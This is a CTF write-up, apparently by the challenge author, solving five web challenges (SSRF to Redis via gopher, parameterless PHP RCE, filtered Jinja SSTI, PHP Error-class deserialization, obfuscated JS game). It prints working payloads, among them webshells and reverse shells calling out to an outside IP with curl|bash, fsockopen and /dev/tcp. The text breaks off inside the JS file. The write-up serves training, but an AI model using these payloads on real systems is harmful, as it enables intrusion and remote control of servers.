写一下2022年实验室招新赛题目的wp吧,这次招新赛我出了5道Web题目,并且搭建了整个靶场,收获很多。在出题的过程中,我对一些题目也有了更深的理解,这里记录一下这五道题目的题解吧。
snert翻译
获取线索
打开环境,查看网站源码,发现一个hint:
传递source参数,得到:
很明显就可以看出,这里输出了ifconfig,我们可以通过这些获得一些内网信息。
输入框中随意输入字符,页面响应时间很长,再加上刚刚得到的一些信息,猜测这里存在ssrf漏洞,输入百度域名进行尝试:
确认是ssrf漏洞。对word参数进行fuzz,发现file协议和dict协议这两个常⽤的读取⽂件的协议被过滤。但是我们可以通过如下方式来进行绕过:
file<空格>///xxxxx。怎样得知我们需要读取的文件目录呢?这里有两个线索,首先我们利用wappalyzer
得知网站的编程语言使用的是PHP,然后我们随意进入一个目录,根据网站弹出报错信息:
得知网站使用的是apache这个web服务器,而apache的默认网站根目录为/var/www/html,因此我们要读取的源码文件就是/var/www/html/index.php。
利用该方式读取源码(?word=file: ///var/www/html/index.php&submit=%E6%8F%90%E4%BA%A4):
弹出两个index.php页面,查看网页源码即可得到php代码:
1 |
|
审计代码,发现源码中使用了curl_exec函数,并且函数中的参数可控,因此导致了ssrf。我们可以发现这里过滤了dict、file和https协议,但是http协议还可以使用,可以利用http协议来探测内网其他网段的信息。接下来我们传入参数?word=http%3A%2F%2F172.26.0.3&submit=%E6%8F%90%E4%BA%A4 并抓包,探测内网存活主机:
观察结果,我们发现172.26.0.2的主机给出我们提示:
接着我们对172.26.0.2的主机进行端口扫描。为了节约时间,通常我们只需要对常用端口进行扫描即可,因此利用常用端口字典进行爆破是一种好办法。但是直接进行从0-65535爆破也是可以的(没有什么不可以的,只是需要时间很长罢了),方法与上面类似:
通过扫描结果,我们发现6379端口处于开放状态,而6379属于redis 数据库的端口,并且根据回显的 报错信息也能确认⽬标服务器使⽤了redis数据库:
这⾥我们可以使⽤ssrf通过redis认证攻击来对服务器进行攻击(SSRF漏洞攻击Redis介绍)。
利用gopher协议攻击redis数据库
由于dict协议被过滤,所以这⾥我们使⽤ gopher协议。
gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 (’_‘字符可以更换为任意字符,但不可省略。)
gopher的默认端口是70,如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
在gopher协议中发送HTTP的数据,需要以下三步:
构造HTTP数据包
URL编码、替换回车换行为%0d%0a
发送gopher协议
写脚本将webshell写入主机中
我们可以利用一些简单的命令测试一下redis是否已经认证过了,比如这样:
1 | set snert 1 |
通过gopher协议和redis数据包格式构造数据流后,得到:
1 | gopher://172.26.0.2:6379/a%2A3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Asnert%0D%0A%241%0D%0A1%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A |
传入后,回显如下:
提示存在密码。
这里直接贴上我写的exp:
1 | import urllib.parse |
脚本写的有点乱,所以我解释一下。这个脚本大概分为了三部分,一部分是找到redis的密码,一部分是结合密码利用redis存入我们构造好的webshell至主机中,还有一部分是执行构造好的webshell,反弹shell到我们的服务器上。
要理解这个脚本,首先我们要先知道我们需要redis执行哪些命令。直接看脚本是怎么写的:
1 | auth xxxx |
首先通过这些命令然后将i从0至9999遍历一遍,爆破出redis的认证密码,可以得到密码为9547。(题目也在靶场给出hint,密码长度<5且均由数字构成。)
当我们得到密码后就可以让redis执行以下命令:
1 | auth 9547 |
这里解释一下这些命令。首先是auth命令,命令用于检测给定的密码和配置文件中的密码是否相符,也就是验证我们的密码是否正确。然后是flushall:清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。接着添加名为snert的key,值为我们所定义的webshell,也就是\n\n\n\n<?=system(\"curl 110.42.234.56:888|bash\");?>\n\n\n\n(这里需要注意一下,因为在我们拿到的源码中我们可以得知,系统是ban掉了?php字符串的,所以使用短标签绕过。并且我们无法通过常规查看flag的手段来getflag,因为当你cat /flag之后你就会发现,这该死的出题人也就是我,把真正的flag写在了一个隐藏文件中。因此我们需要拿到服务器的shell)。接着设置备份路径为/var/www/html,然后设置备份文件名为shell.php,开始备份,最后退出。
其中redis_format函数将上面这些命令更改为Redis的数据发送的数据包格式(具体实现可以看代码),也就是这样:
1 | curl gopher://172.26.0.2:6379/a*2 |
这里的curl只是对应index.php中的curl_exec 函数,为了理解得更直观才这样写的。gopher及后面的数据才是我们需要传入的。(这点应该是不需要说的,自己看源码就可以知道。)接着将使用main函数其转化为url编码,在构造payload的时候应该注意,TCP数据流前不能再用_这个字符了,因为被代码过滤了,但是这个字符并不是必须,我们可以利用任何一个字符代替它(详情请看这篇文章:Gopher协议在SSRF漏洞中的深入研究)。接着利用requests模块传入数据:
接着是第三部分,在执行之前脚本会询问你是否需要反弹shell,你在输入yes之前,应该确保自己已经监听起了相应服务器的相应端口。接着脚本会继续传参,其中word参数的值为http://172.26.0.2/shell.php,这样的话我们就成功在172.26.0.3 也就是我们的靶机 上的index.php包含进来了一个172.26.0.2机器上的shell.php文件,接着shell.php就会被执行。
这里再次提醒一下,如果你不拿到shell直接利用cat /flag的话是看不到真正的flag的,你需要找到那个隐藏的文件/.true_flag才可以拿到flag。另外,要注意的是,我们反弹的shell拿到的是root权限,具体原因比较复杂,在这里不作解释。你可以利用这个权限来完成破坏靶机等操作。(比赛未允许的情况的下还是不要做)
利用工具Gopherus得到payload
注意,在使用一些工具的同时,我们也应当了解解决问题的原理。不要无脑使用网上已经写好的工具,避免成为“Script Kid”。
Gopherus项目地址:https://github.com/tarunkant/Gopherus
这个工具无法添加redis的auth命令,因此通过该工具得到的payload在本题中无法直接使用。但是我们可以按照redis数据包的格式和gopher协议的格式自行添加auth命令,同时不要忘记更改_为其他任何字符。
主人的命令
获取线索
打开环境,可以看到一个和蔼的头像,但是这不重要。查看网页源码,发现一个hint:
vim是目前运用得最多的Linux编辑器,当用户在编辑文件但意外退出时(如通过SSH连接到服务器时,在用vim编辑文件的过程中可能遇到因为网速不够导致的命令行卡死而意外退出的情况),会在当前目录下生成一个备份文件,文件名格式为:.文件名.swp
先尝试爆破一下目录:
发现index.php,输入.index.php.swp即可得到备份文件。针对SWP备份文件,我们可以用“vim-r”命令恢复文件的内容:
接着按下esc,输入:wq 即可将其保存为index.php(简单的vim使用命令,如果这些还不熟悉的话,可以先去学习linux的基础命令)。得到网站源码如下:
1 |
|
审计代码
1 | if(!isset($_SESSION['snert'])){ |
可以发现这里将$_SESSION[‘snert’]的值设为一个随机数的md5值的前六位。
接着需要传入两个POST型参数,一个名为mingling,一个名为snert。接着看这段代码:
1 | if(substr(md5($_POST['snert']),0,6) !== $_SESSION['snert']){ |
这里对传入的参数snert的md5值的前六位进行判断,如果不等于$_SESSION[‘snert’],就会退出程序,并弹窗提示“不对劲”。这里是一个很常见的md5截断绕过。
接着审计,发现这里又对我们上传的mingling参数进行了一些判断:
1 | if(strlen($snert) > 70 or preg_match('/\'|`|"|\ |\.|,|\+|=|-|\\|\/|>|<|\?|\^|\$|\||&|[A-Za-z0-9]/ixm',$snert)){ |
如果mingling的长度大于70或匹配到了一些可疑字符就会退出程序并弹窗提示“干啥,小hacker”,这里对输入的mingling参数进行了大量的过滤。接着else if中要求mingling能够匹配/[^\s\(\)]+?\((?R)?\)/这个正则表达式,且还能多出一个分号。最后将mingling参数放入eval函数中执行。
首先我们看下这个正则表达式:
发现它要求我们输入的内容必须为如下格式:
1 | a() |
可以发现这是很典型的无参数RCE(无参数RCE介绍)
编写EXP
1 | if(strlen($snert) > 70 or preg_match('/\'|`|"|\ |\.|,|\+|=|-|\\|\/|>|<|\?|\^|\$|\||&|[A-Za-z0-9]/ixm',$snert)){ |
这里过滤了大量的字符,但是可以直接通过取反进行绕过。
1 | if(substr(md5($_POST['snert']),0,6) !== $_SESSION['snert']){ |
这里对输入的snert参数的值进行了检测,直接暴力遍历1-99999999之间的数字,然后找到md5加密后的字符串的前六位与题目所给的六位字符串相同的那个数字即可。
直接给出EXP:
1 | import hashlib |
首先我们可以利用var_dump(getallheaders())来查看可以利用的headers有哪些:
我们发现current(getallheaders())是Host,这个不能修改,next(getallheaders())是user-agent可以修改,end(getallheaders())是Upgrade-Insecure-Requests,也可以修改。这里以Upgrade-Insecure-Requests为例,先拿到我们需要post的参数,也就是利用脚本拿到system(end(getallheaders()));的取反,然后修改Upgrade-Insecure-Requests为我们想要执行的命令。这样就将Upgrade-Insecure-Requests作为了命令执行函数system的参数。可是这里对headers也进行了过滤:
1 | foreach ($headers as $var){ |
其实这里过滤的已经很明显了,是为了防止我们反弹shell,但是这里给放开了php,也就是说我们可以利用php一句话反弹shell。但是其实不需要反弹shell,直接写入webshell也可以。
写入webshell
首先利用脚本生成我们想要上传的payload:
接着我们更改Upgrade-Insecure-Requests为如下命令:
1 | touch shell.php && echo '<?php eval($_POST[shell]);?>' > shell.php |
这个命令的大致内容:首先创建一个shell.php,然后将一句话木马写入shell.php中。发包之后,进入shell.php的页面:
传入POST参数shell=phpinfo();成功返回phpinfo!接下来蚁剑连接即可在根目录处找到flag。
反弹shell
从过滤中我们可以得知出题人是想要避免我们反弹shell的,但是放开了php,因此我们可以利用php一句话反弹shell的代码来getshell:
php一句话反弹shell:
1 | php -r '$sock=fsockopen("110.42.234.56",9200);exec("/bin/sh -i <&3 >&3 2>&3");' |
操作与上述类似,得到payload之后,更改Upgrade-Insecure-Requests为这句反弹shell的代码,在发包前,监听起相应服务器的相应端口,然后发包即可成功反弹shell:
需要注意的是,本题的解绝非仅有这两种方法,提出这两种方法本质是想要达到抛砖引玉的目的,大家可以再思考一下,有没有更简单的方法。比如本题中使用的是apache,且访问日志并未开启,但是假如开启的话,那么我们是否可以在headers中直接写入一句话木马,然后通过include将apache的访问日志access.log包含进来,从而达到getshell的目的呢?答案是可以的,但是这些需要大家自己去验证。
difficult_ssti
题目考察内容:参数爆破+SSTI+eval函数反弹shell
获取线索
打开环境,提示“告诉你一个秘密,这个网站有个snert路由,快去看看吧”。进入/snert,又提示我们传入一个POST型参数:
但是传入的参数名却并未告诉我们。尝试爆破目录与抓包,也并没有任何有用的线索。那么现在唯一的线索就是找到这个参数的参数名,爆破这个参数有很多种方法,可以利用burp,脚本,或者工具arjun来爆破参数(arjun项目地址https://github.com/s0md3v/Arjun):
脚本很好写,随便贴一个吧:
1 | import time |
脚本中打开的文件是我们的字典文件,网上有很多,这里就不放了。拿到参数名为url,接着我们尝试传递url参数为不同的值。
1 | 当url=1时,提示`一眼顶针,鉴定为真,这是你的url吗: 1`。我们可以发现这里会将我们输入的url参数输出出来。那我们让url={{1+1}},提示如下: |
我们fuzz一下发现这里大概过滤了这些:
1 | %1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e,'.', '[', ']', '{{', '=', '_', ''', '""', '\x', 'request', 'config', 'session', 'url_for', 'g','get_flashed_messages', '*', 'for', 'if', 'format', 'list', 'lower', 'slice','striptags', 'trim','xmlattr', 'tojson', 'set', '=', 'chr' |
现在就可以肯定,这里存在SSTI漏洞。利用方式与一般的SSTI是一样的思路,但是需要写在print中进行执行,也就是{%print(我们构造的python链)%},同时我们还要注意绕过过滤。
绕过过滤
这里将”.”进行了过滤,我们可以利用的绕过方式:|attr("__class__")。这里注意一下,其中
1 | ['__builtins__'] |
接下来还有个问题,下划线该怎么绕过呢?这也是这道题中最难的地方。首先我们不能利用16进制进行绕过了,因为过滤\x,但是相同的思路,我们可不可以利用Unicode编码来绕过呢?比如,我们将__class__换一下这样构造:
1 | url={%print({}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%} |
回显如下:
成功注入。那接下来的思路就很简单了,按照我们一般SSTI注入方式进行注入,同时利用|attr(“unicode编码“)进行绕过即可。通过报错,我们可以发现,环境使用的是python3.10:
我们利用python3的注入方式就可以了。在这里,我利用__builtins__ 模块来进行执行命令。利用下面的代码可以在自己的python3环境中看看哪些子类中具有__builtins__ 模块:
1 | #coding:utf-8 |
可以利用__builtins__模块中的open函数,先查看一下启动当前进程的完整命令:
可以构造出如下python链:
1 | url={%print((((((((({}|attr("__class__"))|attr("__base__"))|attr("__subclasses__"))()|attr(80))|attr("__init__"))|attr("__globals__"))|attr("get")("builtins"))|attr("get")("open")("/proc/self/cmdline"))|attr(read))()%} |
url编码后,得到payload:
1 | url={%print((((((((({}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"))|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"))()|attr(80))|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"))|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u006f\u0070\u0065\u006e")("\u002f\u0070\u0072\u006f\u0063\u002f\u0073\u0065\u006c\u0066\u002f\u0063\u006d\u0064\u006c\u0069\u006e\u0065"))|attr("\u0072\u0065\u0061\u0064"))()%} |
传入参数,回显如下:
接着查看app.py,查看/proc/self/cwd/app.py文件即可,步骤与上述类似,拿到网站源码:
我们发现这里竟然还过滤了flag,popen,system这几个字符串的unicode编码。通过源码发现网站打开了debug模式,于是进入/console目录,想着拿到Pin码,获取控制台权限。(Flask debug 模式 PIN 码生成机制安全性研究笔记)但是查看/etc/passwd文件发现,服务器没有运行flask所登录的用户名,因为尝试将用户名设为root得到的Pin码并不正确,且服务器也没有其他可以使用的用户名,因此这个办法也行不通。
SSTI+eval函数反弹shell
既然过滤了popen、system和flag的unicode编码,那就意味着我们无法通过open函数查看到flag,也无法使用popen和system这两个函数进行命令执行。那么还有没有别的方法可以反弹shell呢?当然有的。
这是popen和system函数利用的python反弹shell的代码:
1 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",your_listening_port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
这段代码需要放到os.system或者os.popen中执行才成功,因为前面有python3 -c 这个字符串,这个字符串的意思是在终端中使用python3进行了一次命令执行,其中-c的含义为:
1 | -c cmd : program passed in as string (terminates option list) |
popen和system都是直接的命令执行函数,类似于直接在终端执行命令。但是eval函数并不是这样,eval函数返回传入字符串的表达式的结果。就是说:将字符串当成有效的表达式 来求值 并 返回计算结果。
我们将上面那句python反弹shell的代码进行如下尝试:
1 | # -*- coding:utf-8 -*- |
发现执行成功:
那我们再用eval函数试试?
1 | # -*- coding:utf-8 -*- |
执行后报错:
我们可以发现是定位到import时报错,由此怀疑,不能使用import,寻找替换方案为__import__。在使用__import__ 前,我们要先知道python3中import和__import__的区别。其中__import__ 不会绑定变量 这意味代码中的每个变量 都要用__import__ 来代替使用。知道这个之后,我们就可以编写出如下代码:
1 | # -*- coding:utf-8 -*- |
在测试机上执行,攻击机上监听相应端口,执行成功:
那接下来我们就正式将SSTI与eval函数反弹shell相结合,上面得到的payload为:
1 | url={%print(((((((({}|attr("__class__"))|attr("__base__"))|attr("__subclasses__"))()|attr(80))|attr("__init__"))|attr("__globals__"))|attr("get")("builtins"))|attr("get")("eval")("__import__('os').popen('ls').read()"))%} |
那我们就将其中的命令执行相关的代码给替换成我们上面的eval函数中的代码:
1 | url={%print(((((((({}|attr("__class__"))|attr("__base__"))|attr("__subclasses__"))()|attr(80))|attr("__init__"))|attr("__globals__"))|attr("get")("builtins"))|attr("get")("eval")("__import__('subprocess').call("echo 'sh -i >& /dev/tcp/your_ip/your_listening_port 0>&1'>x && bash x && rm -rf x",shell=True)"))%} |
再统一对上面双引号内的字符串进行unicode编码,payload如下:
1 | url={%print(((((((({}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"))|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"))()|attr(80))|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"))|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u0065\u0076\u0061\u006c")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u0073\u0075\u0062\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u0029\u002e\u0063\u0061\u006c\u006c\u0028\u0022\u0065\u0063\u0068\u006f\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0031\u0030\u002e\u0034\u0032\u002e\u0032\u0033\u0034\u002e\u0035\u0036\u002f\u0039\u0032\u0030\u0030\u0020\u0030\u003e\u0026\u0031\u0027\u003e\u0078\u0020\u0026\u0026\u0020\u0062\u0061\u0073\u0068\u0020\u0078\u0020\u0026\u0026\u0020\u0072\u006d\u0020\u002d\u0072\u0066\u0020\u0078\u0022\u002c\u0073\u0068\u0065\u006c\u006c\u003d\u0054\u0072\u0075\u0065\u0029"))%} |
攻击机上监听相应端口后,在网页中发送这个url参数,就可以成功反弹shell了:
在这里再科普一些有关于反弹shell的知识:通过以上方法反弹shell获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。这往往都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备。我们其实可以借助于python默认包含的一个pty标准库来获取一个标准的虚拟终端环境。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:
1 | python -c "import pty;pty.spawn('/bin/bash')" |
ezphp
打开环境,网站直接给出源码:
1 |
|
这道题目考察的是选手对PHP的原生类在CTF中的利用,我们可以利用以下方法遍历PHP的内置类:
1 |
|
在这道题目中使用的是Error/Exception 内置类。Error类是php的一个内置类,用于自动自定义一个Error,使用于php7版本。Exception 适用于php5、7版本 ,是所有用户级异常的基类。
Error类:
类摘要:
1 | Error implements Throwable { |
类属性:
message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
类方法:
Error::__construct— 初始化 error 对象Error::getMessage— 获取错误信息Error::getPrevious— 返回先前的 ThrowableError::getCode— 获取错误代码Error::getFile— 获取错误发生时的文件Error::getLine— 获取错误发生时的行号Error::getTrace— 获取调用栈(stack trace)Error::getTraceAsString— 获取字符串形式的调用栈(stack trace)Error::__toString— error 的字符串表达Error::__clone— 克隆 error
Exception 类
类摘要:
1 | Exception { |
类属性:
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
类方法:
Exception::__construct— 异常构造函数Exception::getMessage— 获取异常消息内容Exception::getPrevious— 返回异常链中的前一个异常Exception::getCode— 获取异常代码Exception::getFile— 创建异常时的程序文件名称Exception::getLine— 获取创建的异常所在文件中的行号Exception::getTrace— 获取异常追踪信息Exception::getTraceAsString— 获取字符串类型的异常追踪信息Exception::__toString— 将异常对象转换为字符串Exception::__clone— 异常克隆
可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。
先以Error为例,看看当它触发了__toString方法时会发生什么:
1 |
|
输出:
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。
再看下一个例子:
1 |
|
输出:
可见,$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
再看下一个例子:
1 |
|
输出为:
可以看到$a即使与$b是不同的对象,但是它们的md5值与sha1值是相同。
如果还有eval函数呢?我们再来构造一个例子:
1 |
|
我们刚刚发现在输出的内容中包含当前的错误信息’payload’,那假如将’payload’改为?><?php phpinfo();?>,那么此时$a的值应该是:
1 | Error: ?><?php phpinfo();?> ?> in D:\phpstudy_pro\WWW\test1.php:3 Stack trace: #0 {main} |
此时我们我们就成功构造了一个查看phpinfo的php代码,需要注意的是我们的payload前面还有?> 字符串是因为我们需要利用?>来将前面的<?php闭合, Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:
1 | Error: payload in /var/www/html/tmp/index.php:2 |
进入eval()函数会类似于:eval("...Error: <?=include '/flag'?>") ,所以需要用?>闭合一下,也就是<?php ...... eval("...Error: ?><?=include '/flag'?>") ,这样我们的命令就可以成功执行了:
成功查看phpinfo。
Expetion类也与Error的使用和结果完全一样,大家可以自己去尝试以下。
Getflag
因为Expetion类的使用版本是php5和php7,Error类的使用版本是php7,所以我们需要查看相应的题目环境来判断应该使用哪一个。在这道题目中,php版本是7.2.34,我们可以选择使用Error类。
接着我们审计代码:
1 | if( ($this->a != $this->b) && (md5($this->a) === md5($this->b)) ){ |
这里对a变量与b变量进行了判断,这些判断直接用Error类即可绕过,接着看下面的过滤:
1 | if(!preg_match("/\)|\(|\'|\"|\<\?php|post|get/", $this->a, $match)){ |
这里过滤了一些字符,过滤了括号使得我们无法调用函数,我们可以使用include '/flag' 来获取flag。还过滤了单引号双引号,直接取反绕过即可。还过滤了?<php 这里我们可以利用<?=短标签绕过。给出EXP:
1 |
|
执行EXP,得到payload:
1 | ?snert_is_good=O%3A5%3A%22Snert%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A11%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A1%3A%22b%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Ctest1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A11%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D |
别踩白块儿
打开环境,是一个别踩白块儿的游戏界面:
玩了很久都上不了50分,那么可想而知这个题目不会通过玩游戏拿到flag(不可能是我菜,逃)。
查看网站源码,发现一个可疑的js文件:
1 | var _0xodh='jsjiami.com.v6',_0xodh_=['_0xodh'],_0x5438=[_0xodh,'a2NsSVo=','Q1BnanM=','LTEwMXB4','5L2g6LaF56We5LqG77yB','ZUxGako=','cGFzcw==','Smh0Skk=','a1BuR3U=','VFNYQ2E=','eHRRZm0=','c2NvcmU=','ICAg5ZOI5ZOI77yM5bCx6L+Z5rC05bmz6L+Y5oOz5ou/ZmxhZ++8nw==','LTQwOHB4','aU9Kakk=','dmZvcW4=','TVFUcWc=','aW5uZXJIVE1M','T0pudm4=','dHhkem4=','WGRVUUs=','RXlVR3o=','c2JxWXU=','T2NwUm4=','eW5yVU4=','WFVlYnI=','5L2g55qE5pyA57uI5b6X5YiGIA==','aGRjcU0=','dFBUemU=','YmxhY2s=','dGFyZ2V0','aW5kZXhPZg==','Y2xhc3NOYW1l','UGZzRVg=','Ylhxb1g=','eWhOeEY=','bkR2Q2U=','Mnw2fDd8MXwzfDV8MHw0','c3BsaXQ=','UU5wYlc=','V2pMaGE=','cmhBZ2Q=','TFdUSm0=','eUx5WUQ=','dW1UUXo=','QVJDTkE=','RXpoTG8=','Q1BsYks=','bllwUW0=','Zm51cXU=','Z2V0RWxlbWVudEJ5SWQ=','UExoU3M=','ZWF0Xw==','ZV9vbg==','cmVfZ3I=','eW91X2E=','5ri45oiP5bey57uP5byA5aeL77yM5peg6ZyA5YaN5qyh54K55Ye777yB','TFpjVUs=','bGZJcks=','VU96R3E=','b1BYaFg=','Q3RQckM=','bWFpbg==','V3NNd2s=','a2poVGc=','dVB4cGE=','end1Rm8=','Q3V0Zmc=','SGdETFQ=','VVFQUk0=','bW92ZSgp','cm93','ZVdJUVo=','b0RqWng=','RWtGY20=','UFpOcGI=','YXBwZW5kQ2hpbGQ=','bU1pclk=','QlVuSXM=','YmxJR2c=','cExZY3M=','cGFyZW50Tm9kZQ==','V21IU2s=','TGRCT2g=','aW5zZXJ0QmVmb3Jl','Zmlyc3RDaGlsZA==','NHwwfDN8Mnwx','b25jbGljaw==','TU96UGo=','blp6d0M=','Y2hpbGROb2Rlcw==','bGVuZ3Ro','V2VJR2g=','cmVtb3ZlQ2hpbGQ=','bGFzdENoaWxk','WEd6eWw=','cGFzczE=','VEJxbVQ=','Y2VsbA==','cHJrWXI=','Zmxvb3I=','cmFuZG9t','Y2VsbCBibGFjaw==','Y29u','Z2V0Q29tcHV0ZWRTdHlsZQ==','VGZOdmI=','c3R5bGU=','dG9w','RXhydU4=','WWVYU3k=','jsjINiXamFi.czoRm.gWnQv6bptUUF=='];if(function(_0x1b0a33,_0x36c283,_0x35fc1f){function _0x311d4f(_0x5a9fdd,_0x2292a4,_0x5e7648,_0xcb1fab,_0x6675df,_0x49fb32){_0x2292a4=_0x2292a4>>0x8,_0x6675df='po';var _0x73c929='shift',_0x42487a='push',_0x49fb32='0.7gmpnmz84d';if(_0x2292a4<_0x5a9fdd){while(--_0x5a9fdd){_0xcb1fab=_0x1b0a33[_0x73c929]();if(_0x2292a4===_0x5a9fdd&&_0x49fb32==='0.7gmpnmz84d'&&_0x49fb32['length']===0xc){_0x2292a4=_0xcb1fab,_0x5e7648=_0x1b0a33[_0x6675df+'p']();}else if(_0x2292a4&&_0x5e7648['replace'](/[INXFzRgWnQbptUUF=]/g,'')===_0x2292a4){_0x1b0a33[_0x42487a](_0xcb1fab);}}_0x1b0a33[_0x42487a](_0x1b0a33[_0x73c929]());}return 0xe0d46;};return _0x311d4f(++_0x36c283,_0x35fc1f)>>_0x36c283^_0x35fc1f;}(_0x5438,0x1e5,0x1e500),_0x5438){_0xodh_=_0x5438['length']^0x1e5;};function _0x1d2e(_0x2ecb48,_0x3321f5){_0x2ecb48=~~'0x'['concat'](_0x2ecb48['slice'](0x0));var _0x28ed54=_0x5438[_0x2ecb48];if(_0x1d2e['kzcnsq']===undefined){(function(){var _0x555d4e=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x58cd15='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x555d4e['atob']||(_0x555d4e['atob']=function(_0x4aea15){var _0x11308f=String(_0x4aea15)['replace'](/=+$/,'');for(var _0x2431ae=0x0,_0x400573,_0x4ebd7c,_0x46df95=0x0,_0x291d35='';_0x4ebd7c=_0x11308f['charAt'](_0x46df95++);~_0x4ebd7c&&(_0x400573=_0x2431ae%0x4?_0x400573*0x40+_0x4ebd7c:_0x4ebd7c,_0x2431ae++%0x4)?_0x291d35+=String['fromCharCode'](0xff&_0x400573>>(-0x2*_0x2431ae&0x6)):0x0){_0x4ebd7c=_0x58cd15['indexOf'](_0x4ebd7c);}return _0x291d35;});}());_0x1d2e['wFtflA']=function(_0x252547){var _0x266165=atob(_0x252547);var _0x5ac6ea=[];for(var _0x50bcd0=0x0,_0xcf4f7b=_0x266165['length'];_0x50bcd0<_0xcf4f7b;_0x50bcd0++){_0x5ac6ea+='%'+('00'+_0x266165['charCodeAt'](_0x50bcd0)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5ac6ea);};_0x1d2e['fyRGZk']={};_0x1d2e['kzcnsq']=!![];}var _0x192bd6=_0x1d2e['fyRGZk'][_0x2ecb48];if(_0x192bd6===undefined){_0x28ed54=_0x1d2e['wFtflA'](_0x28ed54);_0x1d2e['fyRGZk'][_0x2ecb48]=_0x28ed54;}else{_0x28ed54=_0x192bd6;}return _0x28ed54;};function $(_0x4c27d2){return document[_0x1d2e('0')](_0x4c27d2);}function creatediv(_0x1e165d){var _0x5a88c5={'PLhSs':'div'};var _0x138beb=document['createElement'](_0x5a88c5[_0x1d2e('1')]);_0x138beb['className']=_0x1e165d;return _0x138beb;}var clock=null;var state=0x0;var speed=0x6;var result=![];var flag=['com','aha_',_0x1d2e('2'),'!}',_0x1d2e('3'),_0x1d2e('4'),'rt{h',_0x1d2e('5'),'sne'];function start(){var _0x2a2153={'LZcUK':function(_0x36db61){return 